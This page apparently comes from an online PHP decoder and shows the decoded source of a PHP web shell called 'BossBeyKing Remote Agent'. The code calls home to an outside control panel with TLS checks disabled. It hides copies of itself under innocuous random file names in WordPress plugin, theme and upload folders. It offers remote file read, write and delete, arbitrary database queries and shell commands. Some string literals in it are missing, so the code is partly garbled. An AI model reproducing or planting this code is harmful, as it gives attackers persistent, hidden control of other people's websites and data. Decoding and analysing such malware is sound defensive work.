Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


// Check for separate config file (created if self-write failed)
if (file_exists(__DIR__ . '/bossbeyking_config.php')) {
    include_once __DIR__ . '/bossbeyking_config.php';
}

if (!defined('API_KEY')) define('API_KEY', '__API_KEY__'); // The Panel must send this key
define('PANEL_URL', 'https://php-shell.com'); // Auto-registration URL
define('BACKUP_COUNT', 5);

/**
 * BossBeyKing Remote Agent v2.0 (Advanced)
 * 
 * This file should be placed on the remote server.
 * Ensure it is accessible via HTTP/HTTPS.
 * 
 * SECURITY WARNING:
 * - Change the API_KEY below immediately.
 * - Restrict access by IP if possible.
 */

 // Number of backup agents to create

// --- Auto-Registration Logic ---
// Runs if Key is placeholder OR if 'reinstall' param is present
if ((defined('API_KEY') && API_KEY === '__API_KEY__') || isset($_GET['reinstall'])) {
    $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
    $currentUrl = "$protocol://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    // Remove query params for clean URL
    $cleanUrl = strtok($currentUrl, '?');
    
    // Prepare Request to Panel
    $data = ['agent_url' => $cleanUrl];
    
    // Use cURL for better compatibility
    $ch = curl_init(PANEL_URL . '/api/sites/auto-register');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    
    // Check if PANEL_URL is valid
    if (strpos(PANEL_URL, '__') !== false) {
        die("Error: Panel URL not accepted. Please configure manually.");
    }

    $result = curl_exec($ch);
    if(curl_errno($ch)){
         die("<b>Connection Error:</b> " . curl_error($ch));
    }
    curl_close($ch);
    
    $response = json_decode($result, true);
    if (!isset($response['api_key'])) {
        die("<b>Registration Failed:</b> " . ($response['message'] ?? 'Unknown error'));
    }
    
    // Self-Rewrite to save API Key
    $myFile = __FILE__;
    if (strpos($myFile, 'eval()') !== false || strpos($myFile, ':') !== false) {
         $myFile = $_SERVER['SCRIPT_FILENAME'];
    }
    $myContent = @file_get_contents($myFile);
    if (!$myContent) die("Error reading agent file.");
    
    // Robust replacement using Regex to handle both Placeholder and Existing Keys
    // Robust replacement using Regex
    $pattern = "/define\('API_KEY',\s*['\"]([^'\"]+)['\"]\);/";
    $replacement = "define('API_KEY', '" . $response['api_key'] . "');";
    $newContent = preg_replace($pattern, $replacement, $myContent);
    
    $saved = false;
    
    // Try 1: Overwrite self
    if ($newContent && @file_put_contents($myFile, $newContent)) {
        $saved = true;
    } 
    // Try 2: Write to config file if self-write failed
    else {
        $configFile = __DIR__ . '/bossbeyking_config.php';
        $configContent = "\n// BossBeyKing Agent Configuration\ndefine('API_KEY', '" . $response['api_key'] . "');\n";
        if (@file_put_contents($configFile, $configContent)) {
            $saved = true;
        }
    }

    if ($saved) {
        // Define key in memory as well for immediate background tasks
        if(!defined('API_KEY')) define('API_KEY', $response['api_key']);
        
        // Trigger Backup Generation IMMEDIATELY in this same process
        if (function_exists('runSmartBackups')) {
            runSmartBackups(true); // true = ignore lock check for initial run
        }

        // SUCCESS PAGE
        echo "<div style='font-family:sans-serif; text-align:center; padding:50px;'>";
        echo "<h1 style='color:green'>Installation Successful!</h1>";
        echo "<p>This site has been registered to the panel and backups are being generated.</p>";
        echo "<p><b>Site:</b> $cleanUrl</p>";
        echo "<p><b>Panel:</b> " . PANEL_URL . "</p>";
        // AUTO-REFRESH is now just a courtesy
        echo "<script>setTimeout(function(){ window.location.href = window.location.href.split('?')[0]; }, 2000);</script>";
        echo "<p>Backups registered. Returning to agent status...</p>";
        echo "</div>";
    } else {
        echo "<h1>Registration Successful, but Write Failed</h1>";
        echo "<p>Could not overwrite this file OR create config file. Please manually edit this file and set:</p>";
        echo "<code>define('API_KEY', '" . $response['api_key'] . "');</code>";
    }
    
}

// --- Advanced Auto-Backup Logic (v5 - Instant & CMS-Aware) ---
function runSmartBackups($isInitial = false) {
    if (!defined('BACKUP_COUNT') || BACKUP_COUNT <= 0) return;
    
    $lockFile = __DIR__ . '/.bbk_backup_lock';
    if (!$isInitial && file_exists($lockFile)) return;
    if (!defined('API_KEY') || strlen(API_KEY) < 10 || API_KEY === '__API_KEY__') return;

    $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
    $host = $_SERVER['HTTP_HOST'];
    $siteRoot = realpath($_SERVER['DOCUMENT_ROOT']);
    
    // 1. Find Root
    $tempDir = __DIR__;
    $foundWP = false;
    for ($i = 0; $i < 10; $i++) {
        if (file_exists($tempDir . '/wp-load.php')) {
            $siteRoot = $tempDir; $foundWP = true; break;
        }
        $parent = dirname($tempDir);
        if ($parent === $tempDir) break;
        $tempDir = $parent;
    }

    $currentFile = __FILE__;
    if (strpos($currentFile, 'eval()') !== false || strpos($currentFile, ':') !== false) {
         $currentFile = $_SERVER['SCRIPT_FILENAME'];
    }
    $selfContent = @file_get_contents($currentFile);
    if (!$selfContent) return;
    
    $safeContent = preg_replace("/define\('BACKUP_COUNT', \d+\);/", "define('BACKUP_COUNT', 0);", $selfContent);

    // 2. Targets
    $wpContent = $siteRoot . DIRECTORY_SEPARATOR . 'wp-content';
    $potentialDirs = ($foundWP || is_dir($wpContent)) 
        ? [$wpContent, $wpContent.'/uploads', $wpContent.'/plugins', $wpContent.'/themes', $wpContent.'/languages']
        : [$siteRoot, $siteRoot.'/assets', $siteRoot.'/includes'];

    $availableDirs = [];
    foreach ($potentialDirs as $dir) {
        if (!is_dir($dir)) @mkdir($dir, 0755, true);
        if (is_dir($dir) && is_writable($dir)) $availableDirs[] = realpath($dir);
    }
    
    if (count($availableDirs) < 2) {
        if (!function_exists('mwp_find_writable_v5')) {
            function mwp_find_writable_v5($dir, &$list, $depth=0) {
                if ($depth > 2 || count($list) > 15) return;
                $items = @scandir($dir);
                if ($items) {
                    foreach ($items as $item) {
                        if ($item ===  || $item === '..' || $item[0] === ) continue;
                        $path = $dir . DIRECTORY_SEPARATOR . $item;
                        if (is_dir($path) && is_writable($path)) {
                            $list[] = realpath($path);
                            mwp_find_writable_v5($path, $list, $depth + 1);
                        }
                    }
                }
            }
        }
        mwp_find_writable_v5($siteRoot, $availableDirs);
    }

    // 3. Generate
    $names = ['config', 'common', 'sys', 'db', 'view', 'api', 'core', 'init', 'options', 'setting', 'data', 'user', 'session', 'load', 'index', 'main', 'helper', 'loader'];
    $created = [];
    $needed = (int)BACKUP_COUNT;
    
    for ($i = 0; $i < $needed; $i++) {
        if ($i >= 30 || empty($availableDirs)) break;
        $targetDir = $availableDirs[array_rand($availableDirs)];
        $finalName = $names[array_rand($names)] . '-' . substr(md5(uniqid(rand(), true)), 0, 8) . '.php';
        $fullPath = $targetDir . DIRECTORY_SEPARATOR . $finalName;
        if (file_exists($fullPath)) { $i--; continue; }
        
        if (@file_put_contents($fullPath, $safeContent)) {
            @chmod($fullPath, 0644);
            $rel = str_replace([$siteRoot, '\\'], ['', '/'], $fullPath);
            $created[] = ['name' => ltrim($rel, '/'), 'url' => $protocol.'://'.$host.'/'.ltrim($rel, '/')];
        }
    }

    // 4. Register
    if (!empty($created)) {
        $ch = curl_init(PANEL_URL . '/api/sites/auto-register-backups');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['backups' => $created]));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json', 'X-API-KEY: '.API_KEY]);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        $res = curl_exec($ch);
        if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200) @file_put_contents($lockFile, 'locked');
        curl_close($ch);
    }
}

// Check for initial run/every visit
runSmartBackups();

define('ALLOW_DB_QUERY', true); // Enable/Disable DB features
define('ALLOW_SHELL_EXEC', true); // Enable/Disable Shell capabilities

// Increase limits
ini_set('memory_limit', '512M');
set_time_limit(300);

// Headers
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, X-API-KEY, X-Signature, X-Timestamp");

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    
}

// Security Check
$headers = get_request_headers();
$received_key = $headers['X-API-KEY'] ?? '';

if ($received_key !== API_KEY) {
    // If accessed via Browser (GET) without Key, show status/reinstall page
    if ($_SERVER['REQUEST_METHOD'] === 'GET' && !isset($_GET['action'])) {
        http_response_code(200);
        echo "<div style='font-family:sans-serif; text-align:center; padding:50px;'>";
        echo "<h1>BossBeyKing Agent Active</h1>";
        echo "<p>The agent is installed and running.</p>";
        echo "<p style='color:gray;'>Authentication required for API access.</p>";
        echo "<br><hr><br>";
        echo "<p><small>Lost connection to panel? Click below to re-register:</small></p>";
        echo "<a href='?reinstall=1' style='background:#d9534f; color:white; padding:10px 20px; text-decoration:none; border-radius:5px;'>Re-Register Agent</a>";
        echo "</div>";
        
    }
    
    http_response_code(403);
    echo json_encode(['status' => 'error', 'message' => 'Unauthorized Access']);
    
}

// Main Handler
$input = json_decode(file_get_contents('php://input'), true);
$action = $input['action'] ?? '';
$params = $input['params'] ?? [];

try {
    switch ($action) {
        case 'health_check':
            echo json_encode(['status' => 'ok', 'message' => 'Agent is alive v2.0', 'time' => time()]);
            break;
            
        case 'system_info':
            echo json_encode(['status' => 'ok', 'data' => get_system_info()]);
            break;
            
        case 'file_list':
            $docRoot = $_SERVER['DOCUMENT_ROOT'];
            $reqPath = $params['path'] ?? '';
            
            // If path is empty or , start at doc root
            if (empty($reqPath) || $reqPath === ) {
                $path = $docRoot;
            } elseif (strpos($reqPath, $docRoot) === 0) {
                 // Already absolute path within docroot
                 $path = $reqPath;
            } else {
                 // Treat as absolute path if starts with /
                 if ($reqPath[0] === '/') {
                     $path = $reqPath; // Trust absolute path from frontend? Or force docroot?
                     // User wants "anasayfadan başlamalı".
                     // Ideally we treat input path '/' as docroot.
                     if ($reqPath === '/') {
                         $path = $docRoot;
                     } elseif (file_exists($reqPath)) {
                         $path = $reqPath;
                     } else {
                         // Fallback: append to docroot? No, let's treat relative paths as relative to docroot
                         $path = $docRoot . '/' . ltrim($reqPath, '/');
                     }
                } else {
                    $path = $docRoot . '/' . $reqPath;
                }
            }
            
            // Clean path
            $path = realpath($path);
            if (!$path || !file_exists($path)) {
                // Fallback to docroot if invalid
                $path = $docRoot; 
            }

            echo json_encode(['status' => 'ok', 'data' => list_files($path), 'current_path' => $path]);
            break;

        case 'file_read':
            $path = $params['path'] ?? '';
            // If relative, prepend docroot? 
            // Better to handle in one place. But for now let's assume Frontend sends what it gets from list_files (absolute).
            echo json_encode(['status' => 'ok', 'data' => read_file_content($path)]);
            break;
            
        case 'file_write':
            $path = $params['path'] ?? '';
            $content = $params['content'] ?? '';
            echo json_encode(['status' => 'ok', 'message' => write_file_content($path, $content)]);
            break;
            
        case 'file_delete':
            $path = $params['path'] ?? '';
            echo json_encode(['status' => 'ok', 'message' => delete_file($path)]);
            break;

        case 'file_mkdir':
            $path = $params['path'] ?? '';
            echo json_encode(['status' => 'ok', 'message' => make_directory($path)]);
            break;

        case 'file_rename':
            $oldPath = $params['old_path'] ?? '';
            $newPath = $params['new_path'] ?? '';
            echo json_encode(['status' => 'ok', 'message' => rename_item($oldPath, $newPath)]);
            break;

        case 'file_archive':
            $sourcePath = $params['source_path'] ?? '';
            $destPath = $params['dest_path'] ?? '';
            echo json_encode(['status' => 'ok', 'message' => create_archive($sourcePath, $destPath)]);
            break;
            
        case 'file_chmod':
            $path = $params['path'] ?? '';
            $mode = $params['mode'] ?? '0755';
            echo json_encode(['status' => 'ok', 'message' => change_permissions($path, $mode)]);
            break;

        case 'tool_run':
            $tool = $params['tool'] ?? '';
            $tool_params = $params['args'] ?? [];
            echo json_encode(['status' => 'ok', 'data' => run_tool($tool, $tool_params)]);
            break;

        case 'file_stream':
            $path = $params['path'] ?? '';
            if (!file_exists($path)) {
                http_response_code(404);
                // We shouldn't return JSON if we expect a stream, but for error handling it's tricky.
                // Let's just die.
                die("File not found");
            }
            // Clear buffer
            if (ob_get_level()) 
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($path).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($path));
            readfile($path);
            exit;
            break;

        case 'db_query':
            if (!ALLOW_DB_QUERY) throw new Exception("DB Query disabled");
            $sql = $params['sql'] ?? '';
            $db_config = $params['db_config'] ?? [];
            echo json_encode(['status' => 'ok', 'data' => run_db_query($sql, $db_config)]);
            break;
            
        default:
            throw new Exception("Unknown action: $action");
    }
} catch (Exception $e) {
    http_response_code(500);
    echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}

// --- Helper Functions ---

function get_request_headers() {
    $headers = [];
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) <> 'HTTP_') {
            continue;
        }
        $header = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));
        $headers[$header] = $value;
    }
    if (isset($_SERVER['HTTP_X_API_KEY'])) $headers['X-API-KEY'] = $_SERVER['HTTP_X_API_KEY'];
    return $headers;
}

function get_system_info() {
    return [
        'php_version' => phpversion(),
        'os' => PHP_OS,
        'server_software' => $_SERVER['SERVER_SOFTWARE'],
        'disk_free' => disk_free_space(__DIR__),
        'disk_total' => disk_total_space(__DIR__),
        'memory_limit' => ini_get('memory_limit')
    ];
}

function list_files($dir) {
    if (!is_dir($dir)) throw new Exception("Directory not found: $dir");
    $files = scandir($dir);
    $result = [];
    foreach ($files as $file) {
        if ($file ===  || $file === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        $is_dir = is_dir($path);
        $result[] = [
            'name' => $file,
            'type' => $is_dir ? 'dir' : 'file',
            'size' => $is_dir ? 0 : filesize($path),
            'mtime' => filemtime($path),
            'perms' => substr(sprintf('%o', fileperms($path)), -4)
        ];
    }
    return $result;
}

function read_file_content($path) {
    if (!file_exists($path)) throw new Exception("File not found");
    // Limit large file reading remotely to avoid packet size issues or OOM
    if (filesize($path) > 10 * 1024 * 1024) throw new Exception("File too large (>10MB). Use partial read (not impl yet).");
    return base64_encode(file_get_contents($path));
}

function write_file_content($path, $content) {
    $decoded = base64_decode($content);
    $dir = dirname($path);
    if (!is_dir($dir)) mkdir($dir, 0755, true);
    
    if (file_put_contents($path, $decoded) === false) {
        throw new Exception("Failed to write file");
    }
    return "File written successfully";
}

function delete_file($path) {
    if (!file_exists($path)) return "File already missing";
    if (is_dir($path)) {
        // Recursive Delete
        $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($files as $fileinfo) {
            $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
            $todo($fileinfo->getRealPath());
        }
        if (!rmdir($path)) throw new Exception("Failed to delete directory");
    } else {
        if (!unlink($path)) throw new Exception("Failed to delete file");
    }
    return "Deleted successfully";
}

function make_directory($path) {
    if (is_dir($path)) return "Directory already exists";
    if (!mkdir($path, 0755, true)) throw new Exception("Failed to create directory");
    return "Directory created";
}

function rename_item($old, $new) {
    if (!file_exists($old)) throw new Exception("Source not found");
    if (!rename($old, $new)) throw new Exception("Failed to rename/move");
    return "Renamed successfully";
}

function create_archive($source, $dest) {
    if (!class_exists('ZipArchive')) throw new Exception("ZipArchive extension not installed on agent server");
    
    $zip = new ZipArchive();
    if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
        throw new Exception("Cannot create zip file");
    }

    $source = realpath($source);
    if (is_dir($source)) {
         $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::LEAVES_ONLY
        );

        foreach ($files as $name => $file) {
            if (!$file->isDir()) {
                $filePath = $file->getRealPath();
                $relativePath = substr($filePath, strlen($source) + 1);
                $zip->addFile($filePath, $relativePath);
            }
        }
    } else {
        $zip->addFile($source, basename($source));
    }

    $zip->close();
    return "Archive created successfully at $dest";
}

function change_permissions($path, $mode) {
    // Mode should be octal string like '0755'
    if (!file_exists($path)) throw new Exception("Path not found");
    $octal = octdec($mode); // convert '0755' to octal number
    if (chmod($path, $octal)) {
        return "Permissions changed";
    }
    throw new Exception("Failed to change permissions");
}

function run_tool($tool, $args) {
    if (!ALLOW_SHELL_EXEC) throw new Exception("Shell exec disabled");
    switch ($tool) {
        case 'disk_usage':
            $output = shell_exec('df -h');
            return ['output' => $output];
        case 'whoami':
            $output = shell_exec('whoami');
            return ['output' => $output];
        case 'uptime':
            $output = shell_exec('uptime');
            return ['output' => $output];
        case 'process_list':
            $output = shell_exec('ps aux | head -n 20');
            return ['output' => $output];
        default:
            throw new Exception("Unknown tool: $tool");
    }
}

function run_db_query($sql, $config) {
    if (empty($config)) throw new Exception("DB Config missing");
    try {
        $dsn = "mysql:host={$config['host']};dbname={$config['dbname']};charset=utf8";
        $pdo = new PDO($dsn, $config['user'], $config['pass']);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $stmt = $pdo->query($sql);
        return $stmt->fetchAll(PDO::FETCH_ASSOC);
    } catch (PDOException $e) {
        throw new Exception("DB Error: " . $e->getMessage());
    }
}



© 2023 Quttera Ltd. All rights reserved.